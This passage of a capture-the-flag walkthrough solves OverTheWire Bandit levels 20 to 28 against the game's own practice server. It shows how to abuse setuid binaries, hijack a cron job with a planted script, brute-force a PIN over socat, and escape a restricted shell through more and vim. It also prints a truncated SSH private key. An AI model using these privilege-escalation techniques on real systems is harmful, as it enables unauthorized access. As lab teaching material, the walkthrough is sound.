In this level you need to use a setuid command to gain another user’s privileges. The challenge server stores Bandit level password in the &amp;lt;code&amp;gt;/etc/bandit_pass/&amp;lt;/code&amp;gt; directory. Each Bandit level user can only access their own password in there. For this level, you connect as &amp;lt;code&amp;gt;bandit19&amp;lt;/code&amp;gt; and you can only read the password in &amp;lt;code&amp;gt;/etc/bandit_pass/bandit19&amp;lt;/code&amp;gt;. To read out the password for &amp;lt;code&amp;gt;bandit20&amp;lt;/code&amp;gt;, you need to be able to become &amp;lt;code&amp;gt;bandit20&amp;lt;/code&amp;gt;, at least temporarily. The &amp;lt;code&amp;gt;bandit19&amp;lt;/code&amp;gt; user’s home directory contains a setuid binary that can run commands as the user &amp;lt;code&amp;gt;bandit20&amp;lt;/code&amp;gt;. The goal is to use this binary and read out the user &amp;lt;code&amp;gt;bandit20&amp;lt;/code&amp;gt;’s password in the &amp;lt;code&amp;gt;/etc/bandit_pass/&amp;lt;/code&amp;gt; directory.&lt;br /&gt;
&lt;br /&gt;
Connect to &amp;lt;code&amp;gt;bandit19&amp;lt;/code&amp;gt; using &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit19@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Here’s the setuid binary that lets you become &amp;lt;code&amp;gt;bandit20&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;./bandit20-do&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Run without any arguments, &amp;lt;code&amp;gt;bandit-20&amp;lt;/code&amp;gt; prints the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;Run a command as another user.&lt;br /&gt;
  Example: ./bandit20-do id&amp;lt;/pre&amp;gt;&lt;br /&gt;
This is how you can read out the user &amp;lt;code&amp;gt;bandit20&amp;lt;/code&amp;gt;’s password file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;./bandit20-do cat /etc/bandit_pass/bandit20&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Note the password that it prints out and use it in the next level.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-21&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 21 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit21.html&lt;br /&gt;
&lt;br /&gt;
In this level, you need to send your password to a specific port using a setuid binary.&lt;br /&gt;
&lt;br /&gt;
Connect to this level:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit20@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;nc -l 20000 # ctrl-z&lt;br /&gt;
./suconnect 20000 # ctrl-z&lt;br /&gt;
fg %1&lt;br /&gt;
# type password from the last level&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Here’s how it should look like, with comments denoted with a &amp;lt;code&amp;gt;#&amp;lt;/code&amp;gt; symbol:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;# Start nc and listen on port 20000&lt;br /&gt;
bandit20@bandit:~$ nc -l 20000&lt;br /&gt;
# Put nc -l in the background by pressing ctrl-z&lt;br /&gt;
^Z&lt;br /&gt;
[1]+  Stopped                 nc -l 20000&lt;br /&gt;
# Start ./suconnect and connect to port 20000&lt;br /&gt;
bandit20@bandit:~$ ./suconnect 20000&lt;br /&gt;
# Put ./suconnect 20000 in the background by pressing ctrl-z&lt;br /&gt;
^Z&lt;br /&gt;
[2]+  Stopped                 ./suconnect 20000&lt;br /&gt;
# Put nc -l 20000 back in the foreground&lt;br /&gt;
bandit20@bandit:~$ fg %1&lt;br /&gt;
nc -l 20000&lt;br /&gt;
# Type the password from the last level&lt;br /&gt;
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&lt;br /&gt;
# Put nc -l 20000 in the background&lt;br /&gt;
^Z&lt;br /&gt;
[1]+  Stopped                 nc -l 20000&lt;br /&gt;
# Put ./suconnect 20000 in the foreground&lt;br /&gt;
bandit20@bandit:~$ fg %2&lt;br /&gt;
./suconnect 20000&lt;br /&gt;
# It shows you that it read the password correctly&lt;br /&gt;
Read: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&lt;br /&gt;
# The ./suconnect 20000 sends the password to nc -l 20000 and quits&lt;br /&gt;
Password matches, sending next password&lt;br /&gt;
# Put nc -l 20000 in the foreground&lt;br /&gt;
bandit20@bandit:~$ fg %1&lt;br /&gt;
nc -l 20000&lt;br /&gt;
# This is the password for the next level&lt;br /&gt;
YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the password that the &amp;lt;code&amp;gt;nc -l&amp;lt;/code&amp;gt; receives and use it in the next level.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-22&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 22 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit22.html&lt;br /&gt;
&lt;br /&gt;
In this level, you need to understand what a specific &amp;lt;code&amp;gt;cron&amp;lt;/code&amp;gt; job is doing to read out the password. Connect with SSH:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit21@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Find the &amp;lt;code&amp;gt;cron&amp;lt;/code&amp;gt; job description in &amp;lt;code&amp;gt;/etc/cron.d&amp;lt;/code&amp;gt; and understand where it writes the password for the next level:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;# List all cron job configurations&lt;br /&gt;
bandit21@bandit:~$ ls /etc/cron.d/&lt;br /&gt;
cronjob_bandit22  cronjob_bandit23  cronjob_bandit24  e2scrub_all  otw-tmp-dir  sysstat&lt;br /&gt;
&lt;br /&gt;
# Read out the configuration for bandit22&lt;br /&gt;
bandit21@bandit:~$ cat /etc/cron.d/cronjob_bandit22&lt;br /&gt;
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &amp;amp;amp;&amp;amp;gt; /dev/null&lt;br /&gt;
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &amp;amp;amp;&amp;amp;gt; /dev/null&lt;br /&gt;
&lt;br /&gt;
# List the bandit22 user&#039;s cron job info at /usr/bin/cronjob_bandit22.sh&lt;br /&gt;
bandit21@bandit:~$ ls -l /usr/bin/cronjob_bandit22.sh&lt;br /&gt;
-rwxr-x--- 1 bandit22 bandit21 130 Jul 17 15:57 /usr/bin/cronjob_bandit22.sh&lt;br /&gt;
&lt;br /&gt;
# Read out the cronjob file at /usr/bin/cronjob_bandit22.sh&lt;br /&gt;
bandit21@bandit:~$ cat /usr/bin/cronjob_bandit22.sh&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
chmod 644 /tmp/YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY&lt;br /&gt;
cat /etc/bandit_pass/bandit22 &amp;amp;gt; /tmp/YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY&lt;br /&gt;
&lt;br /&gt;
# Read out the password written to the temporary file:&lt;br /&gt;
bandit21@bandit:~$ cat /tmp/YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY&lt;br /&gt;
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-23&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 23 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit23.html&lt;br /&gt;
&lt;br /&gt;
This level is almost like the last level. The shell script that the &amp;lt;code&amp;gt;cron&amp;lt;/code&amp;gt; job invokes is a bit more involved. Once you figure out how it determines the filenames, you can read out the password.&lt;br /&gt;
&lt;br /&gt;
Connect to this level with SSH:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit22@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Here are the steps I took to find the password:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;# List all cron configurations&lt;br /&gt;
bandit22@bandit:~$ ls /etc/cron.d&lt;br /&gt;
cronjob_bandit22  cronjob_bandit23  cronjob_bandit24  e2scrub_all  otw-tmp-dir  sysstat&lt;br /&gt;
&lt;br /&gt;
# Read out the cron configuration for bandit23&lt;br /&gt;
bandit22@bandit:~$ cat /etc/cron.d/cronjob_bandit23&lt;br /&gt;
@reboot bandit23 /usr/bin/cronjob_bandit23.sh  &amp;amp;amp;&amp;amp;gt; /dev/null&lt;br /&gt;
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh  &amp;amp;amp;&amp;amp;gt; /dev/null&lt;br /&gt;
&lt;br /&gt;
# Read out the cron job&#039;s script:&lt;br /&gt;
bandit22@bandit:~$ cat /usr/bin/cronjob_bandit23.sh&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
myname=$(whoami)&lt;br /&gt;
mytarget=$(echo I am user $myname | md5sum | cut -d &#039; &#039; -f 1)&lt;br /&gt;
&lt;br /&gt;
echo &amp;amp;quot;Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
cat /etc/bandit_pass/$myname &amp;amp;gt; /tmp/$mytarget&lt;br /&gt;
&lt;br /&gt;
# Find the hash $mytarget used for the filename&lt;br /&gt;
bandit22@bandit:~$ echo I am user bandit23 | md5sum | cut -d &#039; &#039; -f 1&lt;br /&gt;
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&lt;br /&gt;
&lt;br /&gt;
# Read out the file contents&lt;br /&gt;
bandit22@bandit:~$ cat /tmp/$(echo I am user bandit23 | md5sum | cut -d &#039; &#039; -f 1)&lt;br /&gt;
ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-24&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 24 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit24.html&lt;br /&gt;
&lt;br /&gt;
In this level, you have to trick a &amp;lt;code&amp;gt;cron&amp;lt;/code&amp;gt; job into executing your script instead.&lt;br /&gt;
&lt;br /&gt;
Connect to the level using SSH:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit23@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
There’s a &amp;lt;code&amp;gt;cron&amp;lt;/code&amp;gt; job in &amp;lt;code&amp;gt;/usr/bin/cronjob_bandit24.sh&amp;lt;/code&amp;gt;. You can trick it into running your script by putting an executable file in the right place:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;bandit23@bandit:~$ cat /etc/cron.d/&lt;br /&gt;
cronjob_bandit22  cronjob_bandit24  otw-tmp-dir       sysstat&lt;br /&gt;
cronjob_bandit23  e2scrub_all       .placeholder&lt;br /&gt;
bandit23@bandit:~$ cat /etc/cron.d/cronjob_bandit24&lt;br /&gt;
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &amp;amp;amp;&amp;amp;gt; /dev/null&lt;br /&gt;
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &amp;amp;amp;&amp;amp;gt; /dev/null&lt;br /&gt;
bandit23@bandit:~$ cat /usr/bin/cronjob_bandit24.sh&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
myname=$(whoami)&lt;br /&gt;
&lt;br /&gt;
cd /var/spool/$myname/foo&lt;br /&gt;
echo &amp;amp;quot;Executing and deleting all scripts in /var/spool/$myname/foo:&amp;amp;quot;&lt;br /&gt;
for i in * .*;&lt;br /&gt;
do&lt;br /&gt;
    if [ &amp;amp;quot;$i&amp;amp;quot; != &amp;amp;quot;.&amp;amp;quot; -a &amp;amp;quot;$i&amp;amp;quot; != &amp;amp;quot;..&amp;amp;quot; ];&lt;br /&gt;
    then&lt;br /&gt;
        echo &amp;amp;quot;Handling $i&amp;amp;quot;&lt;br /&gt;
        owner=&amp;amp;quot;$(stat --format &amp;amp;quot;%U&amp;amp;quot; ./$i)&amp;amp;quot;&lt;br /&gt;
        if [ &amp;amp;quot;${owner}&amp;amp;quot; = &amp;amp;quot;bandit23&amp;amp;quot; ]; then&lt;br /&gt;
            timeout -s 9 60 ./$i&lt;br /&gt;
        fi&lt;br /&gt;
        rm -f ./$i&lt;br /&gt;
    fi&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
bandit23@bandit:~$ ls /var/spool/bandit24&amp;lt;/pre&amp;gt;&lt;br /&gt;
Here’s the command I used to write an executable shell script into &amp;lt;code&amp;gt;/var/spool/bandit24&amp;lt;/code&amp;gt;. The shell script uses the &amp;lt;code&amp;gt;install&amp;lt;/code&amp;gt; command to copy over the password file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;cat &amp;gt; /var/spool/bandit24/foo/cat_passwd &amp;lt;&amp;lt;EOF&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
install --mode=444 /etc/bandit_pass/bandit24 /tmp/bandit_pass_bandit24&lt;br /&gt;
EOF&lt;br /&gt;
chmod +x /var/spool/bandit24/foo/cat_passwd&lt;br /&gt;
sleep 60&lt;br /&gt;
cat /tmp/bandit_pass_bandit24&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Finally, this is how you can then print out the password:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;cat /tmp/bandit_pass_bandit24&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Note the password and use it in the next level.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-25&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 25 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit25.html&lt;br /&gt;
&lt;br /&gt;
Solve this level by connecting to port 30002 on &amp;lt;code&amp;gt;localhost&amp;lt;/code&amp;gt; and giving it the right password. The password is a combination of the last level’s password and a random 4 digit pin. The &amp;lt;code&amp;gt;seq&amp;lt;/code&amp;gt; command is useful for brute-forcing passwords.&lt;br /&gt;
&lt;br /&gt;
Connect to the level with &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit24@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Here’s the command that finds you the password. This filters out any lines that contain the string &amp;lt;code&amp;gt;Wrong!&amp;lt;/code&amp;gt;. That way, you won’t get overwhelmed with &#039;&#039;wrong password&#039;&#039; messages.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;seq -f &amp;quot;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX %4g&amp;quot; 0 9999 |&lt;br /&gt;
    socat STDIO TCP4:localhost:30002 |&lt;br /&gt;
    grep -v Wrong!&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
After a while, this is what you should see once you send it the right code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.&lt;br /&gt;
Correct!&lt;br /&gt;
The password of user bandit25 is YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the password and use it in the next level.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-26&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 26 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit26.html&lt;br /&gt;
&lt;br /&gt;
To solve this level, you need to find a way to escape the &amp;lt;code&amp;gt;bandit26&amp;lt;/code&amp;gt; user’s default shell. First, connect to the &amp;lt;code&amp;gt;bandit25&amp;lt;/code&amp;gt; user and see what shell &amp;lt;code&amp;gt;bandit26&amp;lt;/code&amp;gt; is using:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit25@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This command filters out the &amp;lt;code&amp;gt;bandit25&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;bandit26&amp;lt;/code&amp;gt; users from the password file located at &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;cat /etc/passwd | grep -e bandit25 -e bandit26&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The &amp;lt;code&amp;gt;bandit25&amp;lt;/code&amp;gt; user’s shell is &amp;lt;code&amp;gt;/bin/bash&amp;lt;/code&amp;gt;, which is a regular shell. The &amp;lt;code&amp;gt;bandit26&amp;lt;/code&amp;gt; user uses an uncommon shell located at &amp;lt;code&amp;gt;/usr/bin/showtext&amp;lt;/code&amp;gt;. See the two user’s entries in the &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; file here:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;bandit25:x:11025:11025:bandit level 25:/home/bandit25:/bin/bash&lt;br /&gt;
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext&amp;lt;/pre&amp;gt;&lt;br /&gt;
To confirm what content the shell at &amp;lt;code&amp;gt;/usr/bin/showtext&amp;lt;/code&amp;gt; has, examine the file using &amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;cat&amp;lt;/code&amp;gt; like so:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ls -la /usr/bin/showtext&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Here you can see that &amp;lt;code&amp;gt;/usr/bin/showtext&amp;lt;/code&amp;gt; is a 58 byte large executable file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;-rwxr-xr-x 1 root root 58 Jul 17 15:57 /usr/bin/showtext&amp;lt;/pre&amp;gt;&lt;br /&gt;
Show the contents of &amp;lt;code&amp;gt;/usr/bin/showtext&amp;lt;/code&amp;gt; using &amp;lt;code&amp;gt;cat /usr/bin/showtext&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
export TERM=linux&lt;br /&gt;
&lt;br /&gt;
exec more ~/text.txt&lt;br /&gt;
exit 0&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
All that the &amp;lt;code&amp;gt;/usr/bin/showtext&amp;lt;/code&amp;gt; command does is read out the contents of a file called &amp;lt;code&amp;gt;text.txt&amp;lt;/code&amp;gt; in the current user’s directory. Note that you can change what the tilde &amp;lt;code&amp;gt;~&amp;lt;/code&amp;gt; character expands to by passing a different &amp;lt;code&amp;gt;$HOME&amp;lt;/code&amp;gt; variable.&lt;br /&gt;
&lt;br /&gt;
Try running the &amp;lt;code&amp;gt;/usr/bin/showtext&amp;lt;/code&amp;gt; program while logged in as &amp;lt;code&amp;gt;bandit25&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;bandit25@bandit:~$ /usr/bin/showtext&lt;br /&gt;
more: cannot open /home/bandit25/text.txt: No such file or directory&lt;br /&gt;
bandit25@bandit:~$ HOME=/home/bandit26 /usr/bin/showtext&lt;br /&gt;
more: cannot open /home/bandit26/text.txt: Permission denied&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;/usr/bin/showtext&amp;lt;/code&amp;gt; doesn’t work since you don’t have a &amp;lt;code&amp;gt;text.txt&amp;lt;/code&amp;gt; file in your own home directory. Changing the home directory to be the &amp;lt;code&amp;gt;bandit26&amp;lt;/code&amp;gt; user’s home directory doesn’t solve it either, since you don’t have access to the &amp;lt;code&amp;gt;bandit26&amp;lt;/code&amp;gt; user’s data in their home directory.&lt;br /&gt;
&lt;br /&gt;
Inspect your home directory with &amp;lt;code&amp;gt;ls $HOME&amp;lt;/code&amp;gt; and find the SSH key for the &amp;lt;code&amp;gt;bandit26&amp;lt;/code&amp;gt; user:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;bandit25@bandit:~$ ls $HOME&lt;br /&gt;
bandit26.sshkey&amp;lt;/pre&amp;gt;&lt;br /&gt;
Print the contents of this file using &amp;lt;code&amp;gt;cat $HOME/bandit26.sshkey&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;-----BEGIN RSA PRIVATE KEY-----&lt;br /&gt;
MIIEpQIBAAKCAQEApis2AuoooEqeYWamtwX2k5z9uU1Afl2F8VyXQqbv/LTrIwdW&lt;br /&gt;
...&lt;br /&gt;
IZdtF5HXs2S5CADTwniUS5mX1HO9l5gUkk+h0cH5JnPtsMCnAUM+BRY=&lt;br /&gt;
-----END RSA PRIVATE KEY-----&amp;lt;/pre&amp;gt;&lt;br /&gt;
Copy the contents of this file to your computer into a file called &amp;lt;code&amp;gt;bandit26.sshkey&amp;lt;/code&amp;gt;. Change this file’s permissions so that only you can read it:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Assuming you use the wayland clipboard&lt;br /&gt;
wl-paste &amp;gt; bandit26.sshkey&lt;br /&gt;
chmod 400 bandit26.sshkey&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Connect to the &amp;lt;code&amp;gt;bandit26&amp;lt;/code&amp;gt; user with the SSH key at &amp;lt;code&amp;gt;bandit26.sshkey&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh -i bandit26.sshkey bandit26@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
All that the &amp;lt;code&amp;gt;/usr/bin/showtext&amp;lt;/code&amp;gt; command does is show the contents of a short text file using the &amp;lt;code&amp;gt;more&amp;lt;/code&amp;gt; command. The connection then terminates immediately because &amp;lt;code&amp;gt;more&amp;lt;/code&amp;gt; quits after printing all text.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[...]&lt;br /&gt;
  _                     _ _ _   ___   __&lt;br /&gt;
 | |                   | (_) | |__ \ / /&lt;br /&gt;
 | |__   __ _ _ __   __| |_| |_   ) / /_&lt;br /&gt;
 | &#039;_ \ / _` | &#039;_ \ / _` | | __| / / &#039;_ \&lt;br /&gt;
 | |_) | (_| | | | | (_| | | |_ / /| (_) |&lt;br /&gt;
 |_.__/ \__,_|_| |_|\__,_|_|\__|____\___/&lt;br /&gt;
Connection to bandit.labs.overthewire.org closed.&amp;lt;/pre&amp;gt;&lt;br /&gt;
There’s a way to trick the &amp;lt;code&amp;gt;more&amp;lt;/code&amp;gt; command into not quitting immediately. While &amp;lt;code&amp;gt;more&amp;lt;/code&amp;gt; is running, you can make it read other files, open an editor or execute commands.&lt;br /&gt;
&lt;br /&gt;
Make your terminal small and connect to the &amp;lt;code&amp;gt;bandit26&amp;lt;/code&amp;gt; user again. If you are using a tiling window manager, making the terminal float can help as well.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh -i bandit26.key bandit26@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
While &amp;lt;code&amp;gt;more&amp;lt;/code&amp;gt; is running, press &amp;lt;code&amp;gt;vv&amp;lt;/code&amp;gt; to enter the &amp;lt;code&amp;gt;vim&amp;lt;/code&amp;gt; editor. Inside &amp;lt;code&amp;gt;vim&amp;lt;/code&amp;gt; type &amp;lt;code&amp;gt;:e /etc/bandit_pass/bandit26&amp;amp;lt;ENTER&amp;amp;gt;&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
You can now see the password:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY&amp;lt;/pre&amp;gt;&lt;br /&gt;
You can even enter a full shell inside the &amp;lt;code&amp;gt;vim&amp;lt;/code&amp;gt; editor using the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;set shell=/bin/sh&lt;br /&gt;
:shell&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Note the password and use it in the next level.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-27&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 27 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit27.html&lt;br /&gt;
&lt;br /&gt;
Solve this level by using the same trick as in the previous level. Connect using SSH:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit26@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Make your terminal small so that the &amp;lt;code&amp;gt;more&amp;lt;/code&amp;gt; command doesn’t quit immediately. When you’re inside &amp;lt;code&amp;gt;more&amp;lt;/code&amp;gt;, press &amp;lt;code&amp;gt;vv&amp;lt;/code&amp;gt; to open &amp;lt;code&amp;gt;vim&amp;lt;/code&amp;gt;. Inside vim enter the following command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;:set shell=/bin/sh&amp;lt;CR&amp;gt;:shell&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This launches a shell. Run the following inside the shell to print the next level’s password:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;sh&amp;quot;&amp;gt;./bandit27-do cat /etc/bandit_pass/bandit27&lt;br /&gt;
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Note the password and use it to connect to the next level.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;bandit-level-28&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Bandit level 28 =&lt;br /&gt;
&lt;br /&gt;
Link to this level: https://overthewire.org/wargames/bandit/bandit28.html&lt;br /&gt;
&lt;br /&gt;
This level was a lot of fun to solve. It’s good to keep in mind how much information can leak through git repositories.&lt;br /&gt;
&lt;br /&gt;
Connect to the level using &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ssh bandit27@bandit.labs.overthewire.org -p 2220&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Go into a temporary directory that you create using the &amp;lt;code&amp;gt;mktemp -d&amp;lt;/code&amp;gt; command. Inside the temporary directory, clone the git repository at the following address:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;ssh://bandit27-git@localhost:2220/home/bandit27-git/repo&amp;lt;/pre&amp;gt;&lt;br /&gt;
Here are the commands you can run to achieve this.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;cd $(mktemp -d)&lt;br /&gt;
git clone ssh://bandit27-git@localhost:2220/home/bandit27-git/repo&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
List all files in the repository that you have checked out using the &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;find repo&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
You should see a &amp;lt;code&amp;gt;README&amp;lt;/code&amp;gt; file listed among the files:&lt;br /&gt;
&lt;br /&gt;
